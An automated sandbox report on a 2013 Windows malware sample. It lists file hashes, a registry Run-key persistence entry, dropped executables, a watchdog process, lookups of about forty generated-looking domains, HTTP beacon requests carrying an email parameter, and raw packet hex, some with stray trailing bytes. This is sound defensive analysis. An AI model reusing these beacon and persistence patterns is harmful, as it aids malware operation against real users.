Analysis Date2013-08-16 03:32:26
MD5c35e8da635ac05ab342272cacf713753
SHA1e9f96d751fe393bb06ac26958c858499aa0dbbe9

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 29df69c0c80c565ae582c7176863ea5e sha1: 2280131289aeed37073c679e1927100eac90d106 size: 227328
Section.rdata md5: f8f12cf993efb2f52a7dcdba6b1dedc1 sha1: ba24824bc1607327562ef83663dbfffa24b164ef size: 29184
Section.data md5: 6cc13c6f0a34221acc65c4b32ba1c912 sha1: a12d897392d559c928d4c68c2d90564e37a4a760 size: 9216
Timestamp2011-12-06 18:21:26
PackerMicrosoft Visual C++ ?.?
PEhashb0b6cc2826fdcf016071c36e1b927c9addfbabef

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Routing AutoConnect Builder Print ➝
C:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe
Creates ProcessC:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe

Process
↳ C:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe

Creates FileC:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\ibbxjbntvu.exe
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.tss
Creates ProcessWATCHDOGPROC "C:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe"

Process
↳ WATCHDOGPROC "C:\Documents and Settings\Administrator\Local Settings\Application Data\cczvpwumcdaev\sgmbgcx.exe"

Network Details:

DNShaselopricezat.com
Type: A
208.73.210.200
DNSoppored.com
Type: A
69.43.161.169
DNSpulaminacee.com
Type: A
208.73.210.210
DNSburitosasrl.com
Type: A
69.43.161.170
DNSrebalt.com
Type: A
184.168.221.2
DNSgonotar.com
Type: A
208.73.211.250
DNSelverot.com
Type: A
208.73.211.250
DNSfalaterest.com
Type: A
208.73.211.250
DNSpapadov.com
Type: A
208.73.211.250
DNSbadero.com
Type: A
50.63.202.67
DNSjimberolipop.com
Type: A
208.73.211.250
DNSglostmec.com
Type: A
208.73.210.210
DNSiberan.com
Type: A
208.73.211.167
DNSburitoriso.com
Type: A
208.73.211.167
DNSpoleric.com
Type: A
208.73.211.250
DNSvadelt.com
Type: A
208.73.210.200
DNSgehereiroplop.com
Type: A
208.73.210.210
DNSelectow.com
Type: A
208.73.210.210
DNSekendar.com
Type: A
208.73.210.200
DNSswcopilserits.com
Type: A
208.73.211.250
DNSmelixe.com
Type: A
208.73.211.167
DNSbilode.com
Type: A
208.73.210.210
DNSmarjepolirst.com
Type: A
208.73.210.200
DNSmogohet.com
Type: A
208.73.210.200
DNShartend.com
Type: A
208.73.210.200
DNSferetolopazerns.com
Type: A
208.73.210.200
DNSmacandpa.com
Type: A
208.73.211.167
DNSlocoand.com
Type: A
208.73.211.250
DNSnerlestitops.com
Type: A
208.73.211.250
DNSjondiret.com
Type: A
208.73.211.167
DNSbinerat.com
Type: A
208.73.210.215
DNSherolopcazers.com
Type: A
208.73.211.250
DNSvadaxer.com
Type: A
208.73.210.210
DNSfontored.com
Type: A
64.15.71.22
DNSaderino.com
Type: A
208.73.210.210
DNSklestar.com
Type: A
72.10.147.5
DNSklestar.com
Type: A
72.10.147.6
DNSmianaf.com
Type: A
208.73.211.167
DNSnaimied.com
Type: A
208.73.211.250
DNSdengodar.com
Type: A
208.73.211.250
DNSbezedete.com
Type: A
208.73.211.167
DNSgesqwaserops.com
Type: A
DNSfiatelox.com
Type: A
DNSdafatan.com
Type: A
HTTP GEThttp://haselopricezat.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://oppored.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://pulaminacee.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://buritosasrl.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://rebalt.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://gonotar.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://elverot.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://falaterest.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://papadov.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://badero.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://jimberolipop.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://glostmec.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://iberan.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://buritoriso.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://poleric.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://vadelt.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://gehereiroplop.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://electow.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://ekendar.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://swcopilserits.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://melixe.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://bilode.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://marjepolirst.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://mogohet.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://hartend.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://feretolopazerns.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://macandpa.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://locoand.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://nerlestitops.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://jondiret.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://binerat.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://herolopcazers.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://vadaxer.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://fontored.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://aderino.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://falaterest.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://klestar.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://mianaf.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://naimied.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://dengodar.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
HTTP GEThttp://bezedete.com/forum/search.php?email=cam_102886@yahoo.com
User-Agent:
Flows TCP192.168.1.1:1031 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1032 ➝ 69.43.161.169:80
Flows TCP192.168.1.1:1033 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1034 ➝ 69.43.161.170:80
Flows TCP192.168.1.1:1035 ➝ 184.168.221.2:80
Flows TCP192.168.1.1:1036 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1037 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1038 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1039 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1040 ➝ 50.63.202.67:80
Flows TCP192.168.1.1:1041 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1042 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1043 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1044 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1045 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1046 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1047 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1048 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1049 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1050 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1051 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1052 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1053 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1054 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1055 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1056 ➝ 208.73.210.200:80
Flows TCP192.168.1.1:1057 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1058 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1059 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1060 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1061 ➝ 208.73.210.215:80
Flows TCP192.168.1.1:1062 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1063 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1064 ➝ 64.15.71.22:80
Flows TCP192.168.1.1:1065 ➝ 208.73.210.210:80
Flows TCP192.168.1.1:1066 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1067 ➝ 72.10.147.5:80
Flows TCP192.168.1.1:1068 ➝ 208.73.211.167:80
Flows TCP192.168.1.1:1069 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1070 ➝ 208.73.211.250:80
Flows TCP192.168.1.1:1071 ➝ 208.73.211.167:80

Raw Pcap
0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20686173 656c6f70 72696365 7a61742e    haselopricezat.
0x00000070 (00112)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206f7070 6f726564 2e636f6d 0d0a0d0a    oppored.com....
0x00000070 (00112)   636f6d0d 0a0d0a                       com....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2070756c 616d696e 61636565 2e636f6d    pulaminacee.com
0x00000070 (00112)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20627572 69746f73 6173726c 2e636f6d    buritosasrl.com
0x00000070 (00112)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20726562 616c742e 636f6d0d 0a0d0a6d    rebalt.com....m
0x00000070 (00112)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20676f6e 6f746172 2e636f6d 0d0a0d0a    gonotar.com....
0x00000070 (00112)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20656c76 65726f74 2e636f6d 0d0a0d0a    elverot.com....
0x00000070 (00112)   0d0a0d0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2066616c 61746572 6573742e 636f6d0d    falaterest.com.
0x00000070 (00112)   0a0d0a0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20706170 61646f76 2e636f6d 0d0a0d0a    papadov.com....
0x00000070 (00112)   0a0d0a0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20626164 65726f2e 636f6d0d 0a0d0a0a    badero.com.....
0x00000070 (00112)   0a0d0a0a 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206a696d 6265726f 6c69706f 702e636f    jimberolipop.co
0x00000070 (00112)   6d0d0a0d 0a0d0a                       m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20676c6f 73746d65 632e636f 6d0d0a0d    glostmec.com...
0x00000070 (00112)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20696265 72616e2e 636f6d0d 0a0d0a0d    iberan.com.....
0x00000070 (00112)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20627572 69746f72 69736f2e 636f6d0d    buritoriso.com.
0x00000070 (00112)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20706f6c 65726963 2e636f6d 0d0a0d0a    poleric.com....
0x00000070 (00112)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20766164 656c742e 636f6d0d 0a0d0a0a    vadelt.com.....
0x00000070 (00112)   0a0d0a0d 0a0d0a                       .......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20676568 65726569 726f706c 6f702e63    gehereiroplop.c
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20656c65 63746f77 2e636f6d 0d0a0d0a    electow.com....
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20656b65 6e646172 2e636f6d 0d0a0d0a    ekendar.com....
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20737763 6f70696c 73657269 74732e63    swcopilserits.c
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206d656c 6978652e 636f6d0d 0a0d0a63    melixe.com....c
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   2062696c 6f64652e 636f6d0d 0a0d0a63    bilode.com....c
0x00000070 (00112)   6f6d0d0a 0d0a0a                       om.....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206d6172 6a65706f 6c697273 742e636f    marjepolirst.co
0x00000070 (00112)   6d0d0a0d 0a0a0a                       m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206d6f67 6f686574 2e636f6d 0d0a0d0a    mogohet.com....
0x00000070 (00112)   6d0d0a0d 0a0a0a                       m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20686172 74656e64 2e636f6d 0d0a0d0a    hartend.com....
0x00000070 (00112)   6d0d0a0d 0a0a0a                       m......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   20666572 65746f6c 6f70617a 65726e73    feretolopazerns
0x00000070 (00112)   2e636f6d 0d0a0d0a                     .com....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206d6163 616e6470 612e636f 6d0d0a0d    macandpa.com...
0x00000070 (00112)   0a636f6d 0d0a0d0a                     .com....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206c6f63 6f616e64 2e636f6d 0d0a0d0a    locoand.com....
0x00000070 (00112)   0a636f6d 0d0a0d0a                     .com....

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
0x00000040 (00064)   743a202a 2f2a0d0a 436f6e6e 65637469   t: */*..Connecti
0x00000050 (00080)   6f6e3a20 636c6f73 650d0a48 6f73743a   on: close..Host:
0x00000060 (00096)   206e6572 6c657374 69746f70 732e636f    nerlestitops.co
0x00000070 (00112)   6d0d0a0d 0a0a0d0a                     m.......

0x00000000 (00000)   47455420 2f666f72 756d2f73 65617263   GET /forum/searc
0x00000010 (00016)   682e7068 703f656d 61696c3d 63616d5f   h.php?email=cam_
0x00000020 (00032)   31303238 38364079 61686f6f 2e636f6d   102886@yahoo.com
0x00000030 (00048)   20485454 502f312e 300d0a41 63636570    HTTP/1.0..Accep
